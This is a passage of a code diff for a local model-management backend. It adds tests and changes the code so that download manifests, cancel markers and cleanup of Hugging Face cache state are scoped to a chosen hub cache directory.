+    monkeypatch.setattr(rag_config, "effective_embedding_model", lambda: "org/model")
+    monkeypatch.setattr(rag_config, "effective_gguf_repo", lambda: "org/model-GGUF")
+
+    def _model_repo(repo_id: str):
+        path = tmp_path / "hub" / f"models--{repo_id.replace('/', '--')}"
+        path.mkdir(parents = True)
+        return _repo(
+            repo_id,
+            [_file("config.json", 12), _file("model.safetensors", 100)],
+            path,
+        )
+
+    embedder = _model_repo("org/model")
+    chat = _model_repo("user/model-chat")
+    monkeypatch.setattr(
+        cache_inventory,
+        "all_hf_cache_scans",
+        lambda: [SimpleNamespace(repos = [embedder, chat])],
+    )
+    monkeypatch.setattr(
+        cache_inventory.hf_cache_scan,
+        "is_snapshot_partial",
+        lambda _kind, _repo_id, _path: False,
+    )
+
+    result = {"cached": cache_inventory._scan_cached_models()}
+
+    assert [row["repo_id"] for row in result["cached"]] == ["user/model-chat"]
+
+
+def test_cached_scans_hide_stale_default_embedder_after_custom_setting(monkeypatch, tmp_path):
+    from core.rag import config as rag_config
+
+    monkeypatch.setattr(rag_config, "effective_embedding_model", lambda: "org/custom")
+    monkeypatch.setattr(rag_config, "effective_gguf_repo", lambda: "org/custom-GGUF")
+
+    gguf = _repo(
+        "unsloth/bge-small-en-v1.5-GGUF",
+        [_file("bge-small-en-v1.5-f16.gguf", 60_000_000)],
+        tmp_path / "default-gguf",
+    )
+    weights_path = tmp_path / "hub" / "models--unsloth--bge-small-en-v1.5"
+    weights_path.mkdir(parents = True)
+    weights = _repo(
+        "unsloth/bge-small-en-v1.5",
+        [_file("config.json", 12), _file("model.safetensors", 130_000_000)],
+        weights_path,
+    )
+    monkeypatch.setattr(
+        cache_inventory,
+        "all_hf_cache_scans",
+        lambda: [SimpleNamespace(repos = [gguf, weights])],
+    )
+    monkeypatch.setattr(
+        cache_inventory.hf_cache_scan,
+        "is_gguf_repo_partial",
+        lambda _repo_id, _path: False,
+    )
+    monkeypatch.setattr(
+        cache_inventory.hf_cache_scan,
+        "is_snapshot_partial",
+        lambda _kind, _repo_id, _path: False,
+    )
+
+    assert cache_inventory._scan_cached_gguf() == []
+    assert cache_inventory._scan_cached_models() == []
+
+
 def test_gguf_variant_requirements_include_split_files_and_preferred_mmproj():
     requirements = gguf_variants._build_gguf_variant_requirements(
         [
@@ -864,6 +1547,7 @@ def test_gguf_progress_counts_completed_mmproj_with_expected_bytes(monkeypatch,
             ),
         ],
         "http",
+        hub_cache = entry.parent,
     )
 
     requirement = gguf_variants._GgufVariantRequirement(
@@ -950,6 +1634,7 @@ def test_gguf_progress_subtracts_new_job_completed_baseline(monkeypatch, tmp_pat
             ),
         ],
         "http",
+        hub_cache = entry.parent,
     )
 
     requirement = gguf_variants._GgufVariantRequirement(
@@ -1120,6 +1805,7 @@ def test_gguf_progress_complete_on_disk_ignores_full_baseline(monkeypatch, tmp_p
             ),
         ],
         "http",
+        hub_cache = entry.parent,
     )
 
     requirement = gguf_variants._GgufVariantRequirement(
@@ -1519,8 +2205,15 @@ def test_hf_cache_scan_uses_gguf_partial_row_for_variant_state(monkeypatch, tmp_
         "Q4_K_M",
         [download_manifest.ExpectedFile(path = "model-Q4_K_M.gguf", size = 8192)],
         "http",
+        hub_cache = cache_dir,
+    )
+    assert download_manifest.write_cancel_marker(
+        "model",
+        "Org/PartialGguf",
+        "Q4_K_M",
+        "http",
+        hub_cache = cache_dir,
     )
-    assert download_manifest.write_cancel_marker("model", "Org/PartialGguf", "Q4_K_M", "http")
     monkeypatch.setattr(local_inventory, "_classify_local_path", lambda *_args, **_kwargs: [])
     monkeypatch.setattr(
         local_inventory.hf_cache_scan,
@@ -1549,6 +2242,63 @@ def test_hf_cache_scan_uses_gguf_partial_row_for_variant_state(monkeypatch, tmp_
     assert rows[0].capabilities.requires_variant is True
 
 
+def test_local_inventory_filters_custom_embedder_hf_cache_row(monkeypatch, tmp_path):
+    from core.rag import config as rag_config
+
+    monkeypatch.setattr(rag_config, "effective_embedding_model", lambda: "org/embedder")
+    monkeypatch.setattr(rag_config, "effective_gguf_repo", lambda: "org/embedder-GGUF")
+
+    def _row(repo_id: str):
+        repo_path = tmp_path / f"models--{repo_id.replace('/', '--')}"
+        return model_common._local_model_info(
+            scan_path = repo_path,
+            load_path = repo_path,
+            source = "hf_cache",
+            model_format = "safetensors",
+            model_id = repo_id,
+        )
+
+    rows = local_inventory._filter_hidden_models([_row("org/embedder"), _row("org/chat-model")])
+
+    assert [row.model_id for row in rows] == ["org/chat-model"]
+
+
+def test_local_inventory_filters_embedder_configured_by_snapshot_path(monkeypatch, tmp_path):
+    from core.rag import config as rag_config
+
+    embedder_path = tmp_path / "hub" / "models--org--embedder"
+    embedder_snapshot = embedder_path / "snapshots" / "revision"
+    embedder_snapshot.mkdir(parents = True)
+    chat_path = tmp_path / "hub" / "models--org--chat-model"
+    chat_path.mkdir(parents = True)
+    monkeypatch.setattr(
+        rag_config,
+        "effective_embedding_model",
+        lambda: str(embedder_snapshot),
+    )
+    monkeypatch.setattr(rag_config, "effective_gguf_repo", lambda: "org/embedder-GGUF")
+    monkeypatch.setattr(
+        local_inventory.hf_cache_scan,
+        "resolve_hf_cache_realpath",
+        lambda path: str(embedder_snapshot) if Path(path) == embedder_path else str(path),
+    )
+
+    def _row(repo_id: str, repo_path: Path):
+        return model_common._local_model_info(
+            scan_path = repo_path,
+            load_path = repo_path,
+            source = "hf_cache",
+            model_format = "safetensors",
+            model_id = repo_id,
+        )
+
+    rows = local_inventory._filter_hidden_models(
+        [_row("org/embedder", embedder_path), _row("org/chat-model", chat_path)]
+    )
+
+    assert [row.model_id for row in rows] == ["org/chat-model"]
+
+
 def test_model_download_job_helpers_preserve_idle_shape():
     key = downloads._download_job_key("Org/Model", None)
     status = downloads._job_status(key)
@@ -1718,7 +2468,7 @@ def test_gguf_variants_partial_marker_overrides_size_only_downloaded(monkeypatch
     monkeypatch.setattr(
         gguf_variants,
         "iter_hf_cache_snapshots",
-        lambda _repo_id: [snapshot],
+        lambda _repo_id, root = None: [snapshot],
     )
     monkeypatch.setattr(
         gguf_variants,
@@ -1737,6 +2487,70 @@ def test_gguf_variants_partial_marker_overrides_size_only_downloaded(monkeypatch
     assert result.variants[0].partial is True
 
 
+def test_gguf_variants_scopes_partial_state_to_requested_cache(monkeypatch, tmp_path):
+    async def _run_inline(fn, *args, **kwargs):
+        return fn(*args, **kwargs)
+
+    repo_id = "Org/SharedRepo"
+    repo_name = "models--Org--SharedRepo"
+    cache_a = tmp_path / "cache-a"
+    cache_b = tmp_path / "cache-b"
+    repo_a = cache_a / repo_name
+    snapshot_a = repo_a / "snapshots" / "revision"
+    snapshot_a.mkdir(parents = True)
+    (snapshot_a / "model-Q8_0.gguf").write_bytes(b"complete")
+    blobs_b = cache_b / repo_name / "blobs"
+    blobs_b.mkdir(parents = True)
+    (blobs_b / "q8-hash.incomplete").write_bytes(b"partial")
+
+    monkeypatch.setattr(state_dir, "cache_root", lambda: tmp_path / "state")
+    monkeypatch.setattr(gguf_variants.asyncio, "to_thread", _run_inline)
+    monkeypatch.setattr(
+        "utils.hf_cache_settings.get_hf_cache_paths",
+        lambda: SimpleNamespace(hub_cache = cache_b),
+    )
+    assert download_manifest.write_cancel_marker(
+        "model",
+        repo_id,
+        "Q8_0",
+        "http",
+        hub_cache = cache_b,
+    )
+    monkeypatch.setattr(
+        gguf_variants,
+        "list_gguf_variants",
+        lambda *_args, **_kwargs: (
+            [
+                SimpleNamespace(
+                    filename = "model-Q8_0.gguf",
+                    quant = "Q8_0",
+                    display_label = None,
+                    size_bytes = 8,
+                )
+            ],
+            False,
+            [
+                SimpleNamespace(
+                    rfilename = "model-Q8_0.gguf",
+                    size = 8,
+                    lfs = SimpleNamespace(sha256 = "q8-hash"),
+                )
+            ],
+        ),
+    )
+    monkeypatch.setattr(cache_inventory, "all_hf_cache_scans", lambda: [])
+
+    result = asyncio.run(
+        gguf_variants.get_gguf_variants_response(
+            repo_id,
+            local_path = str(repo_a),
+        )
+    )
+
+    assert result.variants[0].downloaded is True
+    assert result.variants[0].partial is False
+
+
 def test_download_registry_repo_keys_are_case_insensitive():
     registry = download_registry.DownloadRegistry()
 
@@ -2045,6 +2859,34 @@ def test_prepare_cache_for_transport_purges_only_requested_hashes(monkeypatch, t
     assert (blobs / "shared-mmproj.incomplete").exists()
 
 
+def test_prepare_cache_for_transport_uses_captured_root(monkeypatch, tmp_path):
+    cache_a = tmp_path / "cache-a"
+    cache_b = tmp_path / "cache-b"
+    repo_name = "models--Org--Repo"
+    partial_a = cache_a / repo_name / "blobs" / "blob.incomplete"
+    partial_b = cache_b / repo_name / "blobs" / "blob.incomplete"
+    partial_a.parent.mkdir(parents = True)
+    partial_b.parent.mkdir(parents = True)
+    partial_a.write_bytes(b"a")
+    partial_b.write_bytes(b"b")
+    monkeypatch.setattr(
+        download_registry,
+        "hf_cache_root",
+        lambda create = False, root = None: root or cache_b,
+    )
+
+    purged = download_registry.prepare_cache_for_transport(
+        "model",
+        "Org/Repo",
+        download_registry.TRANSPORT_HTTP,
+        root = cache_a,
+    )
+
+    assert purged == 1
+    assert not partial_a.exists()
+    assert partial_b.exists()
+
+
 def _vision_cache_root(monkeypatch, tmp_path):
     root = tmp_path / "hub"
     blobs = root / "models--Org--Vision" / "blobs"
@@ -2403,6 +3245,47 @@ def test_shutdown_skips_marker_for_worker_that_exits_cleanly(monkeypatch):
     assert markers == ["Org/Cut"]
 
 
+def test_orphan_reaper_uses_worker_cache_root_after_setting_changes(monkeypatch, tmp_path):
+    workers = tmp_path / "workers"
+    workers.mkdir()
+    cache_a = tmp_path / "cache-a" / "hub"
+    cache_b = tmp_path / "cache-b" / "hub"
+    partial = cache_a / "models--Org--Model" / "blobs" / "abc.incomplete"
+    partial.parent.mkdir(parents = True)
+    partial.write_bytes(b"partial")
+    cache_b.mkdir(parents = True)
+    monkeypatch.setattr(state_dir, "workers_dir", lambda: workers)
+    monkeypatch.setattr(download_registry, "_process_alive", lambda _pid: False)
+    monkeypatch.setattr(
+        "utils.hf_cache_settings.get_hf_cache_paths",
+        lambda: SimpleNamespace(hub_cache = cache_b),
+    )
+    markers = []
+    monkeypatch.setattr(
+        download_registry,
+        "persist_cancel_marker",
+        lambda *args, **kwargs: markers.append(args),
+    )
+    metadata = download_registry.DownloadMetadata(
+        repo_type = "model",
+        repo_id = "Org/Model",
+        variant = None,
+        transport = download_registry.TRANSPORT_HTTP,
+        hub_cache = str(cache_a),
+        xet_cache = str(tmp_path / "cache-a" / "xet"),
+    )
+    download_registry.write_worker_breadcrumb("org/model", 1234, metadata)
+    [breadcrumb] = list(workers.iterdir())
+    payload = json.loads(breadcrumb.read_text(encoding = "utf-8"))
+    assert payload["hub_cache"] == str(cache_a)
+    assert payload["xet_cache"] == str(tmp_path / "cache-a" / "xet")
+
+    download_registry.reap_orphan_workers()
+
+    assert markers == [("model", "Org/Model", None, "http")]
+    assert list(workers.iterdir()) == []
+
+
 def test_model_claim_register_cancel_uses_registry_marker_owner(monkeypatch):
     killed = []
 
@@ -2726,12 +3609,19 @@ def _build_variant_cache_repo(repo_dir, blob_specs, snapshot_links):
     return repo
 
 
-def _patch_variant_delete_side_effects(monkeypatch):
+def _patch_variant_delete_side_effects(monkeypatch, hub_cache = None):
     monkeypatch.setattr(
         deletion.download_manifest,
         "purge_state",
         lambda *_args, **_kwargs: False,
     )
+    # The repo under test lives in this cache; make it the active one so the
+    # delete scopes to it (default target root is the active hub cache).
+    if hub_cache is not None:
+        monkeypatch.setattr(
+            "utils.hf_cache_settings.get_hf_cache_paths",
+            lambda: SimpleNamespace(hub_cache = hub_cache),
+        )
 
 
 def test_snapshot_progress_filters_stale_blobs(monkeypatch, tmp_path):
@@ -2909,7 +3799,7 @@ def test_delete_variant_keeps_blob_shared_with_other_snapshot(monkeypatch, tmp_p
         "all_hf_cache_scans",
         lambda: [SimpleNamespace(repos = [repo])],
     )
-    _patch_variant_delete_side_effects(monkeypatch)
+    _patch_variant_delete_side_effects(monkeypatch, tmp_path)
 
     result = deletion._delete_cached_model_blocking("Org/Repo-GGUF", "Q4_K_M", None)
 
@@ -2936,7 +3826,7 @@ def test_delete_variant_unlinks_unshared_blob(monkeypatch, tmp_path):
         "all_hf_cache_scans",
         lambda: [SimpleNamespace(repos = [repo])],
     )
-    _patch_variant_delete_side_effects(monkeypatch)
+    _patch_variant_delete_side_effects(monkeypatch, tmp_path)
 
     result = deletion._delete_cached_model_blocking("Org/Repo-GGUF", "Q4_K_M", None)
 
@@ -2962,7 +3852,7 @@ def test_delete_variant_surfaces_locked_file_as_conflict(monkeypatch, tmp_path):
         "all_hf_cache_scans",
         lambda: [SimpleNamespace(repos = [repo])],
     )
-    _patch_variant_delete_side_effects(monkeypatch)
+    _patch_variant_delete_side_effects(monkeypatch, tmp_path)
 
     real_unlink = Path.unlink
 
diff --git a/studio/backend/hub/utils/download_manifest.py b/studio/backend/hub/utils/download_manifest.py
index 5366689296..ac0ccb5490 100644
--- a/studio/backend/hub/utils/download_manifest.py
+++ b/studio/backend/hub/utils/download_manifest.py
@@ -77,6 +77,7 @@ class Manifest:
     started_at: str
     expected_files: tuple[ExpectedFile, ...]
     transport: Optional[str] = None
+    hub_cache: Optional[str] = None
 
 
 @dataclass(frozen = True)
@@ -86,6 +87,78 @@ class VerifyResult:
     size_mismatched: tuple[str, ...]
 
 
+def _canonical_hub_cache(hub_cache: Optional[str | Path] = None) -> Optional[str]:
+    if hub_cache is None:
+        try:
+            from utils.hf_cache_settings import get_hf_cache_paths
+            hub_cache = get_hf_cache_paths().hub_cache
+        except Exception:
+            return None
+    try:
+        return str(Path(hub_cache).expanduser().resolve(strict = False))
+    except (OSError, RuntimeError, ValueError):
+        return str(hub_cache)
+
+
+def _read_state_payload(path: Path) -> Optional[dict]:
+    try:
+        data = json.loads(path.read_text(encoding = "utf-8"))
+    except (OSError, ValueError) as exc:
+        logger.debug("Could not read Hub state %s: %s", path, exc)
+        return None
+    return data if isinstance(data, dict) else None
+
+
+def _legacy_state_applies(
+    path: Path,
+    requested_hub_cache: Optional[str],
+    *,
+    fail_closed: bool = False,
+) -> bool:
+    """Whether an old unscoped state file belongs to the requested cache.
+
+    Transitional files that recorded their cache keep that ownership. Older
+    files with no ownership can only be attributed to the currently selected
+    cache, which matches the single-cache behavior under which they were
+    written without leaking them into remembered inactive caches.
+    """
+    data = _read_state_payload(path)
+    if data is not None:
+        recorded = data.get("hub_cache")
+        if isinstance(recorded, str) and recorded:
+            return _canonical_hub_cache(recorded) == requested_hub_cache
+    elif not fail_closed:
+        return False
+    return requested_hub_cache == _canonical_hub_cache()
+
+
+def _state_read_path(
+    path_factory,
+    repo_type: RepoType,
+    repo_id: str,
+    variant: Optional[str],
+    hub_cache: Optional[str | Path],
+    *,
+    fail_closed: bool = False,
+) -> Optional[Path]:
+    requested = _canonical_hub_cache(hub_cache)
+    scoped = path_factory(repo_type, repo_id, variant, hub_cache = requested)
+    try:
+        if scoped is not None and scoped.is_file():
+            return scoped
+    except OSError:
+        pass
+    legacy = path_factory(repo_type, repo_id, variant)
+    if legacy is None or legacy == scoped:
+        return None
+    try:
+        if not legacy.is_file():
+            return None
+    except OSError:
+        return None
+    return legacy if _legacy_state_applies(legacy, requested, fail_closed = fail_closed) else None
+
+
 def _atomic_write_json(path: Path, payload: dict) -> bool:
     # Per-write uuid suffix so a concurrent caller or a stale tmp from a
     # previous crash cannot collide with the in-flight write.
@@ -124,6 +197,8 @@ def write_manifest(
     variant: Optional[str],
     expected_files: Sequence[ExpectedFile],
     transport: Optional[str] = None,
+    *,
+    hub_cache: Optional[str | Path] = None,
 ) -> bool:
     """Write/overwrite the manifest for this triple. Best-effort.
 
@@ -131,7 +206,13 @@ def write_manifest(
     worst-case fallback is the pre-fix scanner behavior (one missed
     partial detection), which is no regression.
     """
-    path = manifest_path(repo_type, repo_id, variant)
+    recorded_hub_cache = _canonical_hub_cache(hub_cache)
+    path = manifest_path(
+        repo_type,
+        repo_id,
+        variant,
+        hub_cache = recorded_hub_cache,
+    )
     if path is None:
         return False
     payload = {
@@ -149,6 +230,7 @@ def write_manifest(
             for f in expected_files
         ],
         "transport": transport,
+        "hub_cache": recorded_hub_cache,
     }
     return _atomic_write_json(path, payload)
 
@@ -157,6 +239,8 @@ def read_manifest(
     repo_type: RepoType,
     repo_id: str,
     variant: Optional[str] = None,
+    *,
+    hub_cache: Optional[str | Path] = None,
 ) -> Optional[Manifest]:
     """Return the manifest if present and parseable; ``None`` otherwise.
 
@@ -171,15 +255,17 @@ def read_manifest(
     ``_MANIFEST_VERSION`` and widen this check) or live under a different
     filename, so an incompatible payload can never mis-classify rows.
     """
-    path = manifest_path(repo_type, repo_id, variant)
+    path = _state_read_path(
+        manifest_path,
+        repo_type,
+        repo_id,
+        variant,
+        hub_cache,
+    )
     if path is None or not path.is_file():
         return None
-    try:
-        data = json.loads(path.read_text(encoding = "utf-8"))
-    except (OSError, ValueError) as exc:
-        logger.debug("Could not read manifest %s: %s", path, exc)
-        return None
-    if not isinstance(data, dict):
+    data = _read_state_payload(path)
+    if data is None:
         return None
     if data.get("version") != _MANIFEST_VERSION:
         logger.debug(
@@ -216,6 +302,7 @@ def read_manifest(
         started_at = str(data.get("started_at", "")),
         expected_files = tuple(expected),
         transport = transport if transport in ("http", "xet") else None,
+        hub_cache = data.get("hub_cache") if isinstance(data.get("hub_cache"), str) else None,
     )
 
 
@@ -289,6 +376,8 @@ def write_cancel_marker(
     repo_id: str,
     variant: Optional[str] = None,
     transport: Optional[str] = None,
+    *,
+    hub_cache: Optional[str | Path] = None,
 ) -> bool:
     """Record that this triple was cancelled. Idempotent across repeated cancels.
 
@@ -296,7 +385,13 @@ def write_cancel_marker(
     inventory rows so the UI labels HTTP retries as continuable and XET
     retries as full redownloads. None is accepted for forward-compat.
     """
-    path = marker_path(repo_type, repo_id, variant)
+    recorded_hub_cache = _canonical_hub_cache(hub_cache)
+    path = marker_path(
+        repo_type,
+        repo_id,
+        variant,
+        hub_cache = recorded_hub_cache,
+    )
     if path is None:
         return False
     payload = {
@@ -306,6 +401,7 @@ def write_cancel_marker(
         "variant": variant,
         "transport": transport,
         "cancelled_at": datetime.now(timezone.utc).isoformat(),
+        "hub_cache": recorded_hub_cache,
     }
     return _atomic_write_json(path, payload)
 
@@ -314,6 +410,8 @@ def read_cancel_marker_transport(
     repo_type: RepoType,
     repo_id: str,
     variant: Optional[str] = None,
+    *,
+    hub_cache: Optional[str | Path] = None,
 ) -> Optional[str]:
     """Return the transport recorded in the cancel marker, or ``None`` if no
     marker exists or it is unreadable.
@@ -330,15 +428,17 @@ def read_cancel_marker_transport(
       ``None`` keeps the neutral "Retry" label.
     * Unknown future versions → ``None`` (unknown layout, unknown transport).
     """
-    path = marker_path(repo_type, repo_id, variant)
+    path = _state_read_path(
+        marker_path,
+        repo_type,
+        repo_id,
+        variant,
+        hub_cache,
+    )
     if path is None or not path.is_file():
         return None
-    try:
-        data = json.loads(path.read_text(encoding = "utf-8"))
-    except (OSError, ValueError) as exc:
-        logger.debug("Could not read cancel marker %s: %s", path, exc)
-        return None
-    if not isinstance(data, dict):
+    data = _read_state_payload(path)
+    if data is None:
         return None
     version = data.get("version")
     if version == _LEGACY_MARKER_VERSION:
@@ -351,10 +451,30 @@ def read_cancel_marker_transport(
     return None
 
 
+def _all_matching_state_paths(
+    parent: Optional[Path], repo_type: RepoType, repo_id: str, variant: Optional[str]
+) -> tuple[Path, ...]:
+    if parent is None:
+        return ()
+    legacy_path = (
+        manifest_path(repo_type, repo_id, variant)
+        if parent.name == "manifests"
+        else marker_path(repo_type, repo_id, variant)
+    )
+    if legacy_path is None:
+        return ()
+    try:
+        return tuple(path for path in parent.rglob(legacy_path.name) if path.is_file())
+    except OSError:
+        return ()
+
+
 def clear_cancel_marker(
     repo_type: RepoType,
     repo_id: str,
     variant: Optional[str] = None,
+    *,
+    hub_cache: Optional[str | Path] = None,
 ) -> None:
     """Remove the cancel marker for this triple if present.
 
@@ -362,31 +482,48 @@ def clear_cancel_marker(
     download-start (a fresh attempt supersedes prior cancel state) and
     again at successful completion (cleans up if the start clear failed).
     """
-    path = marker_path(repo_type, repo_id, variant)
-    if path is None:
-        return
-    try:
-        path.unlink(missing_ok = True)
-    except OSError as exc:
-        logger.debug("Could not clear cancel marker %s: %s", path, exc)
+    requested = _canonical_hub_cache(hub_cache)
+    path = marker_path(
+        repo_type,
+        repo_id,
+        variant,
+        hub_cache = requested,
+    )
+    legacy = marker_path(repo_type, repo_id, variant)
+    paths = [path]
+    if (
+        legacy is not None
+        and legacy != path
+        and _legacy_state_applies(legacy, requested, fail_closed = True)
+    ):
+        paths.append(legacy)
+    for target in paths:
+        if target is None:
+            continue
+        try:
+            target.unlink(missing_ok = True)
+        except OSError as exc:
+            logger.debug("Could not clear cancel marker %s: %s", target, exc)
 
 
 def has_cancel_marker(
     repo_type: RepoType,
     repo_id: str,
     variant: Optional[str] = None,
+    *,
+    hub_cache: Optional[str | Path] = None,
 ) -> bool:
-    """File-existence check only. Body is never read.
-
-    Fail-closed: a corrupt marker still returns ``True`` because the
-    file's existence is the signal (the user once cancelled this
-    triple, even if the body is unreadable).
-    """
-    path = marker_path(repo_type, repo_id, variant)
-    if path is None:
-        return False
+    """Return whether a cancel marker applies to the selected cache."""
+    path = _state_read_path(
+        marker_path,
+        repo_type,
+        repo_id,
+        variant,
+        hub_cache,
+        fail_closed = True,
+    )
     try:
-        return path.is_file()
+        return path is not None and path.is_file()
     except OSError:
         return False
 
@@ -395,48 +532,124 @@ def delete_manifest(
     repo_type: RepoType,
     repo_id: str,
     variant: Optional[str] = None,
+    *,
+    hub_cache: Optional[str | Path] = None,
 ) -> bool:
-    path = manifest_path(repo_type, repo_id, variant)
-    if path is None:
-        return False
-    try:
-        if not path.is_file():
-            return False
-        path.unlink()
-        return True
-    except OSError as exc:
-        logger.debug("Could not delete manifest %s: %s", path, exc)
-        return False
+    requested = _canonical_hub_cache(hub_cache)
+    path = manifest_path(
+        repo_type,
+        repo_id,
+        variant,
+        hub_cache = requested,
+    )
+    legacy = manifest_path(repo_type, repo_id, variant)
+    paths = [path]
+    if legacy is not None and legacy != path and _legacy_state_applies(legacy, requested):
+        paths.append(legacy)
+    removed = False
+    for target in paths:
+        if target is None:
+            continue
+        try:
+            if target.is_file():
+                target.unlink()
+                removed = True
+        except OSError as exc:
+            logger.debug("Could not delete manifest %s: %s", target, exc)
+    return removed
 
 
 def purge_state(
     repo_type: RepoType,
     repo_id: str,
     variant: Optional[str] = None,
+    *,
+    hub_cache: Optional[str | Path] = None,
 ) -> bool:
     """Remove manifest + cancel marker for this triple. Returns ``True``
-    when anything was present on disk before the call. Idempotent."""
-    marker_existed = has_cancel_marker(repo_type, repo_id, variant)
-    manifest_removed = delete_manifest(repo_type, repo_id, variant)
-    clear_cancel_marker(repo_type, repo_id, variant)
-    return marker_existed or manifest_removed
+    when anything was present on disk before the call. Idempotent.
+
+    With ``hub_cache`` set, only that cache's scoped state (plus any legacy
+    unscoped file that belongs to it) is removed, so purging one cache's copy
+    never clears another cache's resumable/cancel state."""
+    if hub_cache is None:
+        paths = (
+            *_all_matching_state_paths(manifests_dir(), repo_type, repo_id, variant),
+            *_all_matching_state_paths(cancelled_dir(), repo_type, repo_id, variant),
+        )
+    else:
+        requested = _canonical_hub_cache(hub_cache)
+        candidates = [
+            manifest_path(repo_type, repo_id, variant, hub_cache = hub_cache),
+            marker_path(repo_type, repo_id, variant, hub_cache = hub_cache),
+        ]
+        # Legacy unscoped state is shared: an unowned file belongs to the active
+        # cache (per _legacy_state_applies), so only purge it when it belongs to
+        # the cache being deleted -- else deleting an inactive cache would erase
+        # the active cache's resume/cancel state.
+        for path_factory in (manifest_path, marker_path):
+            legacy = path_factory(repo_type, repo_id, variant)
+            if legacy is not None and _legacy_state_applies(legacy, requested):
+                candidates.append(legacy)
+        paths = tuple(p for p in candidates if p is not None)
+    removed = False
+    for path in paths:
+        try:
+            if path.is_file():
+                path.unlink()
+                removed = True
+        except OSError as exc:
+            logger.debug("Could not purge Hub state %s: %s", path, exc)
+    return removed
 
 
-def purge_all_state_for_repo(repo_type: RepoType, repo_id: str) -> int:
+def purge_all_state_for_repo(
+    repo_type: RepoType,
+    repo_id: str,
+    *,
+    hub_cache: Optional[str | Path] = None,
+) -> int:
     """Remove the snapshot-level manifest + marker AND every variant-keyed
     manifest + marker for this repo. Used by the route delete handlers so
     scanner state never outlives the cache it described. Returns the count
-    of (repo, variant) triples that had any state on disk."""
+    of (repo, variant) triples that had any state on disk.
+
+    With ``hub_cache`` set, only that cache's scoped state (plus any legacy
+    unscoped file) is enumerated and removed, so deleting one cache's copy does
+    not clear another cache's resumable/cancel state."""
     removed = 0
-    if purge_state(repo_type, repo_id, None):
+    if purge_state(repo_type, repo_id, None, hub_cache = hub_cache):
         removed += 1
     variants: set[str] = set()
-    for variant, _ in iter_variant_manifests(repo_type, repo_id):
-        variants.add(variant)
-    for variant, _ in iter_variant_markers(repo_type, repo_id):
-        variants.add(variant)
+    prefix = variant_filename_prefix(repo_type, repo_id)
+    if hub_cache is None:
+        search = [(p, True) for p in (manifests_dir(), cancelled_dir()) if p is not None]
+    else:
+        # This cache's scoped dir (parent of its scoped path) plus the legacy
+        # unscoped base; glob (not rglob) so other caches' dirs are not swept.
+        search = []
+        for scoped, base in (
+            (manifest_path(repo_type, repo_id, None, hub_cache = hub_cache), manifests_dir()),
+            (marker_path(repo_type, repo_id, None, hub_cache = hub_cache), cancelled_dir()),
+        ):
+            if scoped is not None:
+                search.append((scoped.parent, False))
+            if base is not None:
+                search.append((base, False))
+    for parent, recursive in search:
+        try:
+            entries = tuple(
+                parent.rglob(f"{prefix}*.json") if recursive else parent.glob(f"{prefix}*.json")
+            )
+        except OSError:
+            continue
+        for entry in entries:
+            if not entry.is_file():
+                continue
+            fallback = entry.stem[len(prefix) :]
+            variants.add(_variant_from_state_file(entry, fallback))
     for variant in variants:
-        if purge_state(repo_type, repo_id, variant):
+        if purge_state(repo_type, repo_id, variant, hub_cache = hub_cache):
             removed += 1
     return removed
 
@@ -453,35 +666,83 @@ def _variant_from_state_file(path: Path, fallback: str) -> str:
 
 
 def _iter_variant_state_files(
-    parent: Optional[Path], repo_type: RepoType, repo_id: str
+    parent: Optional[Path],
+    repo_type: RepoType,
+    repo_id: str,
+    hub_cache: Optional[str | Path],
+    *,
+    cancel_markers: bool,
 ) -> Iterator[tuple[str, Path]]:
     if parent is None:
         return
-    prefix = variant_filename_prefix(repo_type, repo_id)
-    try:
-        entries = list(parent.iterdir())
-    except OSError:
+    path_factory = marker_path if cancel_markers else manifest_path
+    requested = _canonical_hub_cache(hub_cache)
+    scoped_probe = path_factory(
+        repo_type,
+        repo_id,
+        None,
+        hub_cache = requested,
+    )
+    if scoped_probe is None:
         return
-    for entry in entries:
-        if not entry.is_file() or not entry.name.endswith(".json"):
+    prefix = variant_filename_prefix(repo_type, repo_id)
+    seen: set[str] = set()
+    for directory, legacy in ((scoped_probe.parent, False), (parent, True)):
+        if legacy and directory == scoped_probe.parent:
             continue
-        stem = entry.name[: -len(".json")]
-        if not stem.lower().startswith(prefix):
+        try:
+            entries = list(directory.iterdir())
+        except OSError:
             continue
-        variant = stem[len(prefix) :]
-        if variant:
-            yield _variant_from_state_file(entry, variant), entry
+        for entry in entries:
+            if not entry.is_file() or not entry.name.endswith(".json"):
+                continue
+            stem = entry.name[: -len(".json")]
+            if not stem.lower().startswith(prefix) or entry.name in seen:
+                continue
+            if legacy and not _legacy_state_applies(
+                entry,
+                requested,
+                fail_closed = cancel_markers,
+            ):
+                continue
+            fallback = stem[len(prefix) :]
+            if fallback:
+                seen.add(entry.name)
+                yield _variant_from_state_file(entry, fallback), entry
 
 
-def iter_variant_manifests(repo_type: RepoType, repo_id: str) -> Iterator[tuple[str, Path]]:
+def iter_variant_manifests(
+    repo_type: RepoType,
+    repo_id: str,
+    *,
+    hub_cache: Optional[str | Path] = None,
+) -> Iterator[tuple[str, Path]]:
     """Yield (variant, manifest_path) for every variant-keyed manifest
     written for this repo. Used by is_gguf_repo_partial to enumerate all
     variants present on disk so the all-variants-broken gate can run."""
-    yield from _iter_variant_state_files(manifests_dir(), repo_type, repo_id)
+    yield from _iter_variant_state_files(
+        manifests_dir(),
+        repo_type,
+        repo_id,
+        hub_cache,
+        cancel_markers = False,
+    )
 
 
-def iter_variant_markers(repo_type: RepoType, repo_id: str) -> Iterator[tuple[str, Path]]:
+def iter_variant_markers(
+    repo_type: RepoType,
+    repo_id: str,
+    *,
+    hub_cache: Optional[str | Path] = None,
+) -> Iterator[tuple[str, Path]]:
     """Yield (variant, marker_path) for every variant-keyed cancel marker.
     Companion to iter_variant_manifests: catches variants cancelled
     before download-start ever wrote a manifest (very early failures)."""
-    yield from _iter_variant_state_files(cancelled_dir(), repo_type, repo_id)
+    yield from _iter_variant_state_files(
+        cancelled_dir(),
+        repo_type,
+        repo_id,
+        hub_cache,
+        cancel_markers = True,
+    )
diff --git a/studio/backend/hub/utils/download_registry.py b/studio/backend/hub/utils/download_registry.py
index 777d63e1b5..9e2b7d1a6d 100644
--- a/studio/backend/hub/utils/download_registry.py
+++ b/studio/backend/hub/utils/download_registry.py
@@ -45,9 +45,9 @@ import sys
 import threading
 import time
 import weakref
-from dataclasses import dataclass, field
+from dataclasses import dataclass, field, replace
 from pathlib import Path
-from typing import Iterator, Literal, Optional
+from typing import Callable, Iterator, Literal, Optional
 
 from loggers import get_logger
 
@@ -126,6 +126,11 @@ def write_worker_breadcrumb(key: str, pid: int, metadata: Optional["DownloadMeta
         "repo_id": metadata.repo_id if metadata is not None else None,
